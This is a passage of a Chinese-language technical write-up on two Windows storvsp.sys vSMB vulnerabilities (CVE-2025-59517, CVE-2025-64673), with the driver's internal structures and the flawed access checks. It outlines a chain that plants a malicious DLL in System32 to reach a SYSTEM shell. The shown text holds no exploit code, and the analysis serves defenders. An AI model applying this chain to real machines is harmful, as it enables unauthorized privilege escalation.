normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Microsoft Windows 存储虚拟服务提供程序（VSP）驱动（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">storvsp.sys</span></code><span leaf="">）提供了</span><em><span leaf="">虚拟服务器消息块</span></em><span leaf="">（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">vSMB</span></code><span leaf="">）功能。这是一种专用的、高性能文件共享机制，供 Microsoft Windows 在主机操作系统与同一机器上运行的虚拟化环境（如虚拟机、Windows Sandbox、容器等）之间共享文件。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">vSMB 共享代表一个已暴露给虚拟化环境的主机文件系统路径，允许虚拟机内的客户机对主机文件执行文件操作，而无需依赖基于网络的文件共享协议。如需更深入地了解 Windows Sandbox 组件，读者可参阅 </span><em><span leaf="">Check Point Research</span></em><span leaf="">的分析，该分析展示了 vSMB 如何在虚拟化客户机与主机系统之间执行文件操作。这部分内容并非理解漏洞所必需，但提供了 vSMB 在 Windows 内部实际使用的示例。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该驱动暴露了一个设备对象（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">\Device\STORVSP</span></code><span leaf="">）及其符号链接（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">\GLOBAL??\STORVSP</span></code><span leaf="">），使得用户态进程可通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">\\.\STORVSP</span></code><span leaf="">路径访问。当目标是 vSMB 共享时，路径格式为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">\\.\STORVSP\VSMB\??\C:\path</span></code><span leaf="">，其中 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">\VSMB</span></code><span leaf="">前缀将请求路由到 vSMB 专用处理逻辑，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">??\C:\</span></code><span leaf="">段是一个 NT 对象管理器路径，解析为驱动器号及其指定的目录。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该驱动仅在启用了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Virtual Machine Platform</span></code><span leaf="">Windows 功能时才会加载。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">vSMB 结构</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">storvsp.sys</span></code><span leaf="">内核驱动使用了若干内部结构：一个用于跟踪持久的共享状态，其余用于在 I/O 控制请求处理期间解析用户控制的输入和输出缓冲区。以下结构与本文所述漏洞相关。</span></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">VVSMB_SHARE_ROOT_OBJECT 结构</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VVSMB_SHARE_ROOT_OBJECT</span></code><span leaf="">结构作为 vSMB 文件或目录共享的持久上下文。当打开指向 vSMB 路径的句柄时，该结构被分配，并在内存中保留，直至不再有打开的设备句柄与之关联。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">typedef</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> _VVSMB_SHARE_ROOT_OBJECT</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">  DWORD ObjectType;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">volatile</span></span><span leaf=""> DWORD State;</span><span leaf=""><br/></span><span leaf="">  EX_RUNDOWN_REF RundownProtect;</span><span leaf=""><br/></span><span leaf="">  BYTE IsInitialized;</span><span leaf=""><br/></span><span leaf="">  BYTE Padding01[</span><span style="color: rgb(0, 92, 197);"><span leaf="">7</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">  PFILE_OBJECT BackingFileObject;</span><span leaf=""><br/></span><span leaf="">  HANDLE RootDirectoryHandle;</span><span leaf=""><br/></span><span leaf="">  BYTE HasAppendAccess;</span><span leaf=""><br/></span><span leaf="">  BYTE HasWriteAccess;</span><span leaf=""><br/></span><span leaf="">  BYTE HasReadAccess;</span><span leaf=""><br/></span><span leaf="">  BYTE Padding02[</span><span style="color: rgb(0, 92, 197);"><span leaf="">5</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">  SECURITY_SUBJECT_CONTEXT SubjectContext;</span><span leaf=""><br/></span><span leaf="">  BYTE IsActive;</span><span leaf=""><br/></span><span leaf="">  BYTE Reserved_51[</span><span style="color: rgb(0, 92, 197);"><span leaf="">3</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">  SECURITY_QUALITY_OF_SERVICE SecurityQoS;</span><span leaf=""><br/></span><span leaf="">  PVOID UnknownPtr;</span><span leaf=""><br/></span><span leaf="">  BYTE Reserved_68[</span><span style="color: rgb(0, 92, 197);"><span leaf="">16</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">  DWORD FileSystemAttributes;</span><span leaf=""><br/></span><span leaf="">  DWORD ReservedEnd;</span><span leaf=""><br/></span><span leaf="">} VVSMB_SHARE_ROOT_OBJECT, PVSMB_SHARE_ROOT_OBJECT*;</span></code></pre><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST 结构</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST</span></code><span leaf="">结构是 I/O 控制请求码为 0x240330 时所预期的输入缓冲区格式。该结构定义了文件信息操作，如文件重命名或链接。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">typedef</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> _VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST {</span><span leaf=""><br/></span><span leaf="">    DWORD Version;</span><span leaf=""><br/></span><span leaf="">    DWORD Reserved04;</span><span leaf=""><br/></span><span leaf="">    UINT64 SourceHandle;</span><span leaf=""><br/></span><span leaf="">    DWORD InformationClass;</span><span leaf=""><br/></span><span leaf="">    DWORD BufferLength;</span><span leaf=""><br/></span><span leaf="">    BYTE Buffer[</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">} VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST, *PVSTOR_VSMB_SET_INFORMATION_FILE_REQUEST;</span></code></pre><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">漏洞</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第一个原语被分配为 CVE-2025-59517，位于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">storvsp.sys</span></code><span leaf="">的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VspVsmbFileCreate()</span></code><span leaf="">函数中。当低权限攻击者以 vSMB 共享路径为目标调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CreateFileW()</span></code><span leaf="">Windows API 时，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VspVsmbFileCreate()</span></code><span leaf="">被调用来打开底层文件系统路径的句柄。该函数在打开文件之前正确地模拟了调用线程，但未能将强制执行访问检查的必要标志传递给 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IoCreateFileEx()</span></code><span leaf="">内核函数。因此，Windows 对象管理器绕过了 NTFS ACL 检查，以内核权限打开目标路径，忽略了已建立的模拟令牌。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">低权限用户可利用此漏洞获取指向系统上任意目录（如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">C:\Windows\System32</span></code><span leaf="">）的 vSMB 共享句柄，并具有读、写和删除访问权限。所授予的访问权限以布尔标志的形式存储在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VVSMB_SHARE_ROOT_OBJECT</span></code><span leaf="">内核对象中，其中包括 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HasWriteAccess</span></code><span leaf="">，用于跟踪句柄是否以写权限打开。仅凭一个特权 vSMB 共享句柄本身并不十分有用，但可通过链式利用第二个原语来修改实际的磁盘文件和目录。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第二个漏洞被分配为 CVE-2025-64673，位于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VspVsmbHandleSetInformationFileRequest()</span></code><span leaf="">函数中。当在已存在的 vSMB 共享句柄（如上文中获取的句柄）上发出 I/O 控制请求码为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x240330</span></code><span leaf="">的请求时，该函数被调用。此函数根据 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST</span></code><span leaf="">类型的输入缓冲区处理文件信息操作。其安全行为由共享的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VVSMB_SHARE_ROOT_OBJECT</span></code><span leaf="">上下文中的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HasWriteAccess</span></code><span leaf="">标志控制。如果共享句柄以写权限打开，函数在执行操作前会模拟调用线程。否则，跳过模拟，操作以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SYSTEM</span></code><span leaf="">权限执行。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该函数在调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IoCreateFileEx()</span></code><span leaf="">时还重复了与第一个漏洞相同的访问检查遗漏，并在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HasWriteAccess</span></code><span leaf="">未设置时，额外将请求的文件信息类替换为绕过内核访问检查的变体。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">通过构造特定的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST</span></code><span leaf="">输入缓冲区来执行重命名操作，低权限用户可将任意文件重定位到系统上的任意位置。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这两个漏洞可按如下方式链式利用以实现提权：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">利用 CVE-2025-59517 获取指向 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">C:\Windows\System32</span></code><span leaf="">目录的特权 vSMB 共享句柄，访问权限为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FILE_READ_DATA</span></code><span leaf="">，使 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HasWriteAccess</span></code><span leaf="">保持未设置状态。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">触发 CVE-2025-64673 将恶意 DLL 重定位到上述目录中。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">调用特定的 COM 接口，使植入的 DLL 随后被 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SYSTEM</span></code><span leaf="">进程加载，从而以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NT AUTHORITY\SYSTEM</span></code><span leaf="">身份生成一个 shell。</span></p></li></ul><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">代码分析</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在以下章节中，将对漏洞控制流进行更详细的分析。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">VspFileCreate()</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当用户态调用者通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 